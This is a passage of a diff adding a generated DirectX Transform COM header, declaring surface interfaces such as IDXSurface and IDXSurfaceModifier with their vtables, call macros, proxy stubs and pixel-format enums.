SetForeground( + /* [in] */ IDXSurface *pSurface, + /* [in] */ BOOL bTile, + /* [in] */ const POINT *pOrigin) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetForeground( + /* [out] */ IDXSurface **ppSurface, + /* [out] */ BOOL *pbTile, + /* [out] */ POINT *pOrigin) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetOpacity( + /* [in] */ float Opacity) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetOpacity( + /* [out] */ float *pOpacity) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetLookup( + /* [in] */ IDXLookupTable *pLookupTable) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetLookup( + /* [out] */ IDXLookupTable **ppLookupTable) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXSurfaceModifierVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceModifier * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceModifier * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceModifier * This); + + HRESULT ( STDMETHODCALLTYPE *SetFillColor )( + IDXSurfaceModifier * This, + /* [in] */ DXSAMPLE Color); + + HRESULT ( STDMETHODCALLTYPE *GetFillColor )( + IDXSurfaceModifier * This, + /* [out] */ DXSAMPLE *pColor); + + HRESULT ( STDMETHODCALLTYPE *SetBounds )( + IDXSurfaceModifier * This, + /* [in] */ const DXBNDS *pBounds); + + HRESULT ( STDMETHODCALLTYPE *SetBackground )( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface); + + HRESULT ( STDMETHODCALLTYPE *GetBackground )( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface); + + HRESULT ( STDMETHODCALLTYPE *SetCompositeOperation )( + IDXSurfaceModifier * This, + /* [in] */ DXSURFMODCOMPOP CompOp); + + HRESULT ( STDMETHODCALLTYPE *GetCompositeOperation )( + IDXSurfaceModifier * This, + /* [out] */ DXSURFMODCOMPOP *pCompOp); + + HRESULT ( STDMETHODCALLTYPE *SetForeground )( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface, + /* [in] */ BOOL bTile, + /* [in] */ const POINT *pOrigin); + + HRESULT ( STDMETHODCALLTYPE *GetForeground )( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface, + /* [out] */ BOOL *pbTile, + /* [out] */ POINT *pOrigin); + + HRESULT ( STDMETHODCALLTYPE *SetOpacity )( + IDXSurfaceModifier * This, + /* [in] */ float Opacity); + + HRESULT ( STDMETHODCALLTYPE *GetOpacity )( + IDXSurfaceModifier * This, + /* [out] */ float *pOpacity); + + HRESULT ( STDMETHODCALLTYPE *SetLookup )( + IDXSurfaceModifier * This, + /* [in] */ IDXLookupTable *pLookupTable); + + HRESULT ( STDMETHODCALLTYPE *GetLookup )( + IDXSurfaceModifier * This, + /* [out] */ IDXLookupTable **ppLookupTable); + + END_INTERFACE + } IDXSurfaceModifierVtbl; + + interface IDXSurfaceModifier + { + CONST_VTBL struct IDXSurfaceModifierVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXSurfaceModifier_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXSurfaceModifier_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXSurfaceModifier_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXSurfaceModifier_SetFillColor(This,Color) \ + (This)->lpVtbl -> SetFillColor(This,Color) + +#define IDXSurfaceModifier_GetFillColor(This,pColor) \ + (This)->lpVtbl -> GetFillColor(This,pColor) + +#define IDXSurfaceModifier_SetBounds(This,pBounds) \ + (This)->lpVtbl -> SetBounds(This,pBounds) + +#define IDXSurfaceModifier_SetBackground(This,pSurface) \ + (This)->lpVtbl -> SetBackground(This,pSurface) + +#define IDXSurfaceModifier_GetBackground(This,ppSurface) \ + (This)->lpVtbl -> GetBackground(This,ppSurface) + +#define IDXSurfaceModifier_SetCompositeOperation(This,CompOp) \ + (This)->lpVtbl -> SetCompositeOperation(This,CompOp) + +#define IDXSurfaceModifier_GetCompositeOperation(This,pCompOp) \ + (This)->lpVtbl -> GetCompositeOperation(This,pCompOp) + +#define IDXSurfaceModifier_SetForeground(This,pSurface,bTile,pOrigin) \ + (This)->lpVtbl -> SetForeground(This,pSurface,bTile,pOrigin) + +#define IDXSurfaceModifier_GetForeground(This,ppSurface,pbTile,pOrigin) \ + (This)->lpVtbl -> GetForeground(This,ppSurface,pbTile,pOrigin) + +#define IDXSurfaceModifier_SetOpacity(This,Opacity) \ + (This)->lpVtbl -> SetOpacity(This,Opacity) + +#define IDXSurfaceModifier_GetOpacity(This,pOpacity) \ + (This)->lpVtbl -> GetOpacity(This,pOpacity) + +#define IDXSurfaceModifier_SetLookup(This,pLookupTable) \ + (This)->lpVtbl -> SetLookup(This,pLookupTable) + +#define IDXSurfaceModifier_GetLookup(This,ppLookupTable) \ + (This)->lpVtbl -> GetLookup(This,ppLookupTable) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetFillColor_Proxy( + IDXSurfaceModifier * This, + /* [in] */ DXSAMPLE Color); + + +void __RPC_STUB IDXSurfaceModifier_SetFillColor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetFillColor_Proxy( + IDXSurfaceModifier * This, + /* [out] */ DXSAMPLE *pColor); + + +void __RPC_STUB IDXSurfaceModifier_GetFillColor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBounds_Proxy( + IDXSurfaceModifier * This, + /* [in] */ const DXBNDS *pBounds); + + +void __RPC_STUB IDXSurfaceModifier_SetBounds_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetBackground_Proxy( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface); + + +void __RPC_STUB IDXSurfaceModifier_SetBackground_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetBackground_Proxy( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface); + + +void __RPC_STUB IDXSurfaceModifier_GetBackground_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetCompositeOperation_Proxy( + IDXSurfaceModifier * This, + /* [in] */ DXSURFMODCOMPOP CompOp); + + +void __RPC_STUB IDXSurfaceModifier_SetCompositeOperation_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetCompositeOperation_Proxy( + IDXSurfaceModifier * This, + /* [out] */ DXSURFMODCOMPOP *pCompOp); + + +void __RPC_STUB IDXSurfaceModifier_GetCompositeOperation_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetForeground_Proxy( + IDXSurfaceModifier * This, + /* [in] */ IDXSurface *pSurface, + /* [in] */ BOOL bTile, + /* [in] */ const POINT *pOrigin); + + +void __RPC_STUB IDXSurfaceModifier_SetForeground_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetForeground_Proxy( + IDXSurfaceModifier * This, + /* [out] */ IDXSurface **ppSurface, + /* [out] */ BOOL *pbTile, + /* [out] */ POINT *pOrigin); + + +void __RPC_STUB IDXSurfaceModifier_GetForeground_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetOpacity_Proxy( + IDXSurfaceModifier * This, + /* [in] */ float Opacity); + + +void __RPC_STUB IDXSurfaceModifier_SetOpacity_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetOpacity_Proxy( + IDXSurfaceModifier * This, + /* [out] */ float *pOpacity); + + +void __RPC_STUB IDXSurfaceModifier_GetOpacity_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_SetLookup_Proxy( + IDXSurfaceModifier * This, + /* [in] */ IDXLookupTable *pLookupTable); + + +void __RPC_STUB IDXSurfaceModifier_SetLookup_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceModifier_GetLookup_Proxy( + IDXSurfaceModifier * This, + /* [out] */ IDXLookupTable **ppLookupTable); + + +void __RPC_STUB IDXSurfaceModifier_GetLookup_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXSurfaceModifier_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0267 */ +/* [local] */ + +typedef +enum DXSAMPLEFORMATENUM + { DXPF_FLAGSMASK = 0xffff0000, + DXPF_NONPREMULT = 0x10000, + DXPF_TRANSPARENCY = 0x20000, + DXPF_TRANSLUCENCY = 0x40000, + DXPF_2BITERROR = 0x200000, + DXPF_3BITERROR = 0x300000, + DXPF_4BITERROR = 0x400000, + DXPF_5BITERROR = 0x500000, + DXPF_ERRORMASK = 0x700000, + DXPF_NONSTANDARD = 0, + DXPF_PMARGB32 = 1 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_ARGB32 = 2 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_ARGB4444 = 3 | DXPF_NONPREMULT | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY | DXPF_4BITERROR, + DXPF_A8 = 4 | DXPF_TRANSPARENCY | DXPF_TRANSLUCENCY, + DXPF_RGB32 = 5, + DXPF_RGB24 = 6, + DXPF_RGB565 = 7 | DXPF_3BITERROR, + DXPF_RGB555 = 8 | DXPF_3BITERROR, + DXPF_RGB8 = 9 | DXPF_5BITERROR, + DXPF_ARGB1555 = 10 | DXPF_TRANSPARENCY | DXPF_3BITERROR, + DXPF_RGB32_CK = DXPF_RGB32 | DXPF_TRANSPARENCY, + DXPF_RGB24_CK = DXPF_RGB24 | DXPF_TRANSPARENCY, + DXPF_RGB555_CK = DXPF_RGB555 | DXPF_TRANSPARENCY, + DXPF_RGB565_CK = DXPF_RGB565 | DXPF_TRANSPARENCY, + DXPF_RGB8_CK = DXPF_RGB8 | DXPF_TRANSPARENCY + } DXSAMPLEFORMATENUM; + +typedef +enum DXLOCKSURF + { DXLOCKF_READ = 0, + DXLOCKF_READWRITE = 1 << 0, + DXLOCKF_EXISTINGINFOONLY = 1 << 1, + DXLOCKF_WANTRUNINFO = 1 << 2, + DXLOCKF_NONPREMULT = 1 << 16, + DXLOCKF_VALIDFLAGS = DXLOCKF_READWRITE | DXLOCKF_EXISTINGINFOONLY | DXLOCKF_WANTRUNINFO | DXLOCKF_NONPREMULT + } DXLOCKSURF; + +typedef +enum DXSURFSTATUS + { DXSURF_TRANSIENT = 1 << 0, + DXSURF_READONLY = 1 << 1, + DXSURF_VALIDFLAGS = DXSURF_TRANSIENT | DXSURF_READONLY + } DXSURFSTATUS; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0267_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0267_v0_0_s_ifspec; + +#ifndef __IDXSurface_INTERFACE_DEFINED__ +#define __IDXSurface_INTERFACE_DEFINED__ + +/* interface IDXSurface */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXSurface; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("B39FD73F-E139-11d1-9065-00C04FD9189D") + IDXSurface : public IDXBaseObject + { + public: + virtual HRESULT STDMETHODCALLTYPE GetPixelFormat( + /* [out] */ GUID *pFormatID, + /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetBounds( + /* [out] */ DXBNDS *pBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetStatusFlags( + /* [out] */ DWORD *pdwStatusFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetStatusFlags( + /* [in] */ DWORD dwStatusFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE LockSurface( + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppPointer, + /* [out] */ ULONG *pulGenerationId) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDirectDrawSurface( + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetColorKey( + DXSAMPLE *pColorKey) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetColorKey( + DXSAMPLE ColorKey) = 0; + + virtual HRESULT STDMETHODCALLTYPE LockSurfaceDC( + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [out] */ IDXDCLock **ppDCLock) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetAppData( + DWORD_PTR dwAppData) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetAppData( + DWORD_PTR *pdwAppData) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXSurfaceVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurface * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurface * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXSurface * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXSurface * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXSurface * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *GetPixelFormat )( + IDXSurface * This, + /* [out] */ GUID *pFormatID, + /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum); + + HRESULT ( STDMETHODCALLTYPE *GetBounds )( + IDXSurface * This, + /* [out] */ DXBNDS *pBounds); + + HRESULT ( STDMETHODCALLTYPE *GetStatusFlags )( + IDXSurface * This, + /* [out] */ DWORD *pdwStatusFlags); + + HRESULT ( STDMETHODCALLTYPE *SetStatusFlags )( + IDXSurface * This, + /* [in] */ DWORD dwStatusFlags); + + HRESULT ( STDMETHODCALLTYPE *LockSurface )( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppPointer, + /* [out] */ ULONG *pulGenerationId); + + HRESULT ( STDMETHODCALLTYPE *GetDirectDrawSurface )( + IDXSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + HRESULT ( STDMETHODCALLTYPE *GetColorKey )( + IDXSurface * This, + DXSAMPLE *pColorKey); + + HRESULT ( STDMETHODCALLTYPE *SetColorKey )( + IDXSurface * This, + DXSAMPLE ColorKey); + + HRESULT ( STDMETHODCALLTYPE *LockSurfaceDC )( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [out] */ IDXDCLock **ppDCLock); + + HRESULT ( STDMETHODCALLTYPE *SetAppData )( + IDXSurface * This, + DWORD_PTR dwAppData); + + HRESULT ( STDMETHODCALLTYPE *GetAppData )( + IDXSurface * This, + DWORD_PTR *pdwAppData); + + END_INTERFACE + } IDXSurfaceVtbl; + + interface IDXSurface + { + CONST_VTBL struct IDXSurfaceVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXSurface_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXSurface_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXSurface_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXSurface_GetGenerationId(This,pID) \ + (This)->lpVtbl -> GetGenerationId(This,pID) + +#define IDXSurface_IncrementGenerationId(This,bRefresh) \ + (This)->lpVtbl -> IncrementGenerationId(This,bRefresh) + +#define IDXSurface_GetObjectSize(This,pcbSize) \ + (This)->lpVtbl -> GetObjectSize(This,pcbSize) + + +#define IDXSurface_GetPixelFormat(This,pFormatID,pSampleFormatEnum) \ + (This)->lpVtbl -> GetPixelFormat(This,pFormatID,pSampleFormatEnum) + +#define IDXSurface_GetBounds(This,pBounds) \ + (This)->lpVtbl -> GetBounds(This,pBounds) + +#define IDXSurface_GetStatusFlags(This,pdwStatusFlags) \ + (This)->lpVtbl -> GetStatusFlags(This,pdwStatusFlags) + +#define IDXSurface_SetStatusFlags(This,dwStatusFlags) \ + (This)->lpVtbl -> SetStatusFlags(This,dwStatusFlags) + +#define IDXSurface_LockSurface(This,pBounds,ulTimeOut,dwFlags,riid,ppPointer,pulGenerationId) \ + (This)->lpVtbl -> LockSurface(This,pBounds,ulTimeOut,dwFlags,riid,ppPointer,pulGenerationId) + +#define IDXSurface_GetDirectDrawSurface(This,riid,ppSurface) \ + (This)->lpVtbl -> GetDirectDrawSurface(This,riid,ppSurface) + +#define IDXSurface_GetColorKey(This,pColorKey) \ + (This)->lpVtbl -> GetColorKey(This,pColorKey) + +#define IDXSurface_SetColorKey(This,ColorKey) \ + (This)->lpVtbl -> SetColorKey(This,ColorKey) + +#define IDXSurface_LockSurfaceDC(This,pBounds,ulTimeOut,dwFlags,ppDCLock) \ + (This)->lpVtbl -> LockSurfaceDC(This,pBounds,ulTimeOut,dwFlags,ppDCLock) + +#define IDXSurface_SetAppData(This,dwAppData) \ + (This)->lpVtbl -> SetAppData(This,dwAppData) + +#define IDXSurface_GetAppData(This,pdwAppData) \ + (This)->lpVtbl -> GetAppData(This,pdwAppData) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetPixelFormat_Proxy( + IDXSurface * This, + /* [out] */ GUID *pFormatID, + /* [out] */ DXSAMPLEFORMATENUM *pSampleFormatEnum); + + +void __RPC_STUB IDXSurface_GetPixelFormat_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetBounds_Proxy( + IDXSurface * This, + /* [out] */ DXBNDS *pBounds); + + +void __RPC_STUB IDXSurface_GetBounds_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetStatusFlags_Proxy( + IDXSurface * This, + /* [out] */ DWORD *pdwStatusFlags); + + +void __RPC_STUB IDXSurface_GetStatusFlags_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_SetStatusFlags_Proxy( + IDXSurface * This, + /* [in] */ DWORD dwStatusFlags); + + +void __RPC_STUB IDXSurface_SetStatusFlags_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_LockSurface_Proxy( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppPointer, + /* [out] */ ULONG *pulGenerationId); + + +void __RPC_STUB IDXSurface_LockSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetDirectDrawSurface_Proxy( + IDXSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + +void __RPC_STUB IDXSurface_GetDirectDrawSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetColorKey_Proxy( + IDXSurface * This, + DXSAMPLE *pColorKey); + + +void __RPC_STUB IDXSurface_GetColorKey_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_SetColorKey_Proxy( + IDXSurface * This, + DXSAMPLE ColorKey); + + +void __RPC_STUB IDXSurface_SetColorKey_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_LockSurfaceDC_Proxy( + IDXSurface * This, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ ULONG ulTimeOut, + /* [in] */ DWORD dwFlags, + /* [out] */ IDXDCLock **ppDCLock); + + +void __RPC_STUB IDXSurface_LockSurfaceDC_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_SetAppData_Proxy( + IDXSurface * This, + DWORD_PTR dwAppData); + + +void __RPC_STUB IDXSurface_SetAppData_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurface_GetAppData_Proxy( + IDXSurface * This, + DWORD_PTR *pdwAppData); + + +void __RPC_STUB IDXSurface_GetAppData_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXSurface_INTERFACE_DEFINED__ */ + + +#ifndef __IDXSurfaceInit_INTERFACE_DEFINED__ +#define __IDXSurfaceInit_INTERFACE_DEFINED__ + +/* interface IDXSurfaceInit */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXSurfaceInit; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("9EA3B639-C37D-11d1-905E-00C04FD9189D") + IDXSurfaceInit : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE InitSurface( + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXSurfaceInitVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceInit * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceInit * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceInit * This); + + HRESULT ( STDMETHODCALLTYPE *InitSurface )( + IDXSurfaceInit * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags); + + END_INTERFACE + } IDXSurfaceInitVtbl; + + interface IDXSurfaceInit + { + CONST_VTBL struct IDXSurfaceInitVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXSurfaceInit_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXSurfaceInit_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXSurfaceInit_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXSurfaceInit_InitSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags) \ + (This)->lpVtbl -> InitSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXSurfaceInit_InitSurface_Proxy( + IDXSurfaceInit * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags); + + +void __RPC_STUB IDXSurfaceInit_InitSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXSurfaceInit_INTERFACE_DEFINED__ */ + + +#ifndef __IDXARGBSurfaceInit_INTERFACE_DEFINED__ +#define __IDXARGBSurfaceInit_INTERFACE_DEFINED__ + +/* interface IDXARGBSurfaceInit */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXARGBSurfaceInit; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("9EA3B63A-C37D-11d1-905E-00C04FD9189D") + IDXARGBSurfaceInit : public IDXSurfaceInit + { + public: + virtual HRESULT STDMETHODCALLTYPE InitFromDDSurface( + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE InitFromRawSurface( + /* [in] */ IDXRawSurface *pRawSurface) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXARGBSurfaceInitVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBSurfaceInit * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBSurfaceInit * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBSurfaceInit * This); + + HRESULT ( STDMETHODCALLTYPE *InitSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *InitFromDDSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *InitFromRawSurface )( + IDXARGBSurfaceInit * This, + /* [in] */ IDXRawSurface *pRawSurface); + + END_INTERFACE + } IDXARGBSurfaceInitVtbl; + + interface IDXARGBSurfaceInit + { + CONST_VTBL struct IDXARGBSurfaceInitVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXARGBSurfaceInit_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXARGBSurfaceInit_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXARGBSurfaceInit_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXARGBSurfaceInit_InitSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags) \ + (This)->lpVtbl -> 